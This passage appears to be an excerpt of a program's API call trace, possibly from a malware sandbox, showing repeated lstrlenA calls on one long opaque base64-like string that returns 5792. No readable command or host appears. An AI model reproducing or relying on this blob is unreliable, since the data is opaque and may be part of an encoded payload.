MGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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